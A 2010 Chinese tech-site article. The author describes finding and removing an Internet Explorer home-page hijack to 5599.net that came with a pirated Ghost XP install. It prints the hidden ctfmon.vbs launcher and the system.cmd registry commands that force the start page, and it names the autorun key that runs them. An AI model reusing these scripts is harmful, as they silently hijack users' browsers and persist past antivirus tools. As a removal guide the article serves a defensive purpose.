用户名:  密码:
兄弟在线   

标题:删除http://www.5599.net

作者:agui005 来源:http://www.xdlmn.com 时间:2010-04-21

删除http://www.5599.net/?10
  最近重装电脑,系统是GHOST版的XP。照例安装360安全卫士。
  IE的首页为HTTP://WWW.5599.NET/?10。我用360修复IE,不行,进入注册表,修改IE的默认页面。这样,虽然可以了,但每次开机总提示IE被修改。
  最后只好找启动项了,在启动项里找到一个“1”的启动项,没有出口公司。启动的是ctfmon.vbs这个,很可疑。于是找到文件C:\WINDOWS\system32\ctfmon.vbs右键->编辑:
复制内容到剪贴板代码:
  DIM objShell
set objShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("cmd.exe /C C:\WINDOWS\system32\system.cmd", 0, TRUE)
  这个简单了,顺藤摸瓜再找system.cmd这个文件就行,还是右键->编辑:
复制内容到剪贴板代码:
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d [url]http://www.5599.net/?10[/url] /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t reg_sz /d [url]http://www.5599.net/?10[/url] /f
  看到没,问题出在这里了。
  由于这几段代码都没什么问题,所以杀毒软件和360安全卫士都不会对它采取措施。
  解释一下,第一个文件是让建一个wscript.shell的对像,而这个对像要做的,是用CMD运行system.cmd里写的这些东西,也就是改注册表里的IE默认页面。

  最后,这个文件在注册表里的位置是HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run。自己改一下就行。


总点击 [7433]   评论  0 查看评论
上一篇:oracle 语句的解锁
下一篇:用AJAX实现百度输入自动完成功能
【关闭窗口】
您可能感兴趣的文章
我要评论
          
评论标题:   可以输入250
 
验证数字: 6 + 3 =
兄弟友情提示
· 请自觉遵守国家有关法律、法规,尊重网上道德。
· 兄弟在线坚决抵制不良言行,违者文责自负。
· 如果文章有版权或其他问题等,请联系我们,我们会尽快处理。
· 文章注名来自网络的旨在传播共享信息,不做其它用途;注名原创的本站支持原创,但不代表同意其观点。
· 兄弟在线拥有管理用户与其文章和评论的一切权利,并有权在网站内转载或引用。
兄弟在线
兄弟热门文章
兄弟推荐文章
兄弟站内搜索

兄弟感兴趣的文章
兄弟最新影视